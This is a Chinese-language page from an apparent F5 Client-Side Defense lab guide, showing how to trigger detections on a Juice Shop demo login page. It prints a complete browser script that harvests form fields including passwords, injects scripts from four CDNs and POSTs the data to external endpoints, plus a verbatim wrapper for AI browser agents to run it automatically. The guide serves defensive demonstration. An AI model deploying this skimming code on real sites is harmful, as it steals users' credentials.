跳转到内容

触发检测

CSD 在浏览器内部监控 JavaScript 行为。与 WAF 或 Bot Defense 不同,您无法通过 curl 命令触发 CSD 检测——它需要真实的浏览器端脚本活动。以下组合脚本在单次执行中触发所有三种 CSD 检测信号:表单字段采集、来自多个 CDN 域的第三方脚本注入,以及向外部端点进行数据渗漏。

  1. https://botdemo.sales-demo.f5demos.com/#/login 导航至 Juice Shop 的登录页面

  2. 在表单字段中输入虚假凭据——在 Email 字段中输入 test@example.com,在 Password 字段中输入 P@ssword123(不要提交表单)

  3. 打开 DevTools(F12Console 选项卡)

    Empty DevTools Console ready for script inputEmpty DevTools Console ready for script input
  4. 将以下脚本粘贴到控制台并按 Enter 键——它将作为自执行函数自动运行

    Combined Detection Script
    // CSD Demo — Combined Detection Script
    // Triggers ALL CSD detection signals: field reads, script injection, exfiltration
    (function() {
    console.log('='.repeat(50));
    console.log('[CSD Demo] Combined Detection Script — Starting');
    console.log('='.repeat(50));
    // Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)
    console.log('\n[Formjack] Phase 1: Form field harvesting');
    var inputs = document.querySelectorAll('input');
    var harvested = {};
    inputs.forEach(function(input) {
    var name = input.name || input.id || input.type;
    harvested[name] = input.value || '(empty)';
    });
    console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
    // Phase 2: Inject third-party scripts from 4 CDN domains
    console.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
    var cdns = [
    { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
    { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
    { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
    { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
    ];
    cdns.forEach(function(cdn) {
    var script = document.createElement('script');
    script.src = cdn.url;
    script.onload = function() {
    console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);
    };
    script.onerror = function() {
    console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);
    };
    document.head.appendChild(script);
    console.log('[Supply Chain] Injected script tag: ' + cdn.name);
    });
    // Phase 3: Exfiltrate harvested data to external endpoints
    console.log('\n[Exfil] Phase 3: Data exfiltration');
    var payload = JSON.stringify({
    type: 'combined_demo',
    credentials: harvested,
    page: window.location.href,
    timestamp: Date.now()
    });
    fetch('https://www.httpbin.org/post', {
    method: 'POST',
    mode: 'no-cors',
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to www.httpbin.org');
    });
    fetch('https://jsonplaceholder.typicode.com/posts', {
    method: 'POST',
    mode: 'no-cors',
    headers: { 'Content-Type': 'application/json' },
    body: payload
    }).then(function() {
    console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');
    });
    // Summary
    console.log('\n' + '='.repeat(50));
    console.log('[CSD Demo] Simulation complete');
    console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
    console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');
    console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');
    console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');
    console.log('='.repeat(50));
    })();
  5. 观察分阶段的 [CSD Demo] 控制台输出,确认每个步骤已执行:字段采集、来自 4 个 CDN 域的脚本注入,以及数据渗漏。esm.sh 提供 ES 模块语法(export default …)——当以经典 <script> 标签加载时,会导致 Uncaught SyntaxError: Cannot use import statement outside a module。这是预期行为,不会影响 CSD 检测(脚本标签仍被注入,网络请求仍会发出)

    Console output after running the simulation scriptConsole output after running the simulation script

配备浏览器自动化工具(MCP Chrome DevTools、Playwright、Puppeteer)的 AI 助手可以通过编程方式执行模拟,而无需按照上述手动步骤操作:

  1. 使用 initScript 导航 — 首先导航至 about:blank 以确保文档上下文干净,然后使用 navigate_page 导航至登录页面 URL(例如 http://$F5XC_DOMAINNAME/#/login),并在 initScript 中保存原生 setIntervalclearIntervalfetchconsole.log(在 zone.js 对其打补丁之前),轮询登录表单字段,通过原生 HTMLInputElement.prototype.value setter 填写凭据,并立即在内联中执行组合检测脚本。请使用下方逐字 initScript。
  2. 关闭欢迎横幅 — 使用 Escape 键执行 press_key 以关闭欢迎横幅。后续访问时横幅可能不会出现(Cookie 已持久化)
  3. 等待完成 — 等待 10 秒,以便所有 CDN 脚本加载/错误回调及 fetch Promise 解析完成
  4. 采集证据 — 使用 list_console_messages 检查 [CSD Demo] Simulation complete;使用 list_network_requests 过滤 scriptfetch 类型以验证 HTTP 状态码

initScript 执行框架(逐字使用——用于自动化执行的组合检测脚本封装):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('input[type="email"]');
var passEl = document.querySelector('input[type="password"]');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

关于原生 fetch 的说明: 此框架保存 window.fetch.bind(window) 以避免 zone.js 错误。这是所有攻击模拟阶段的正确行为。CSD 缓解措施通过清除 <script> 标签的 src 值来阻止脚本加载,而非拦截 fetch() 调用,因此保存原生 fetch 引用不会影响缓解行为。相同的 initScript 同样适用于第 2 阶段和第 3 阶段。

没有浏览器自动化工具的操作人员请使用上述手动步骤。

组合模拟脚本触发所有三种 CSD 检测信号:

行为脚本所做的操作CSD 所检测到的内容
字段采集读取现有 input 元素(邮箱、密码)的值脚本读取敏感表单字段——标记为高风险
脚本注入追加 4 个 <script> 标签,从 cdn.jsdelivr.netesm.shunpkg.comga.jspm.io 加载内容页面上出现 4 个新的第三方脚本域
数据渗漏通过 fetch 将采集的数据发送至 www.httpbin.orgjsonplaceholder.typicode.com向外部域发起网络调用(注意:fetch 目标以脚本网络交互形式显示,而非在网络域视图中显示)

上述组合脚本是适合大多数演示场景的简化 3 阶段版本(采集、注入、渗漏)。攻击脚本库提供了按攻击类型组织的 10 个专项脚本,包括一个最大检测压力测试,该测试在组合脚本覆盖范围的基础上,额外增加了 DOM 操作、Cookie 渗漏和图像信标通道。使用各独立脚本可以单独演示特定攻击类别(表单劫持、数字略读、供应链注入、数据渗漏、DOM 操作)。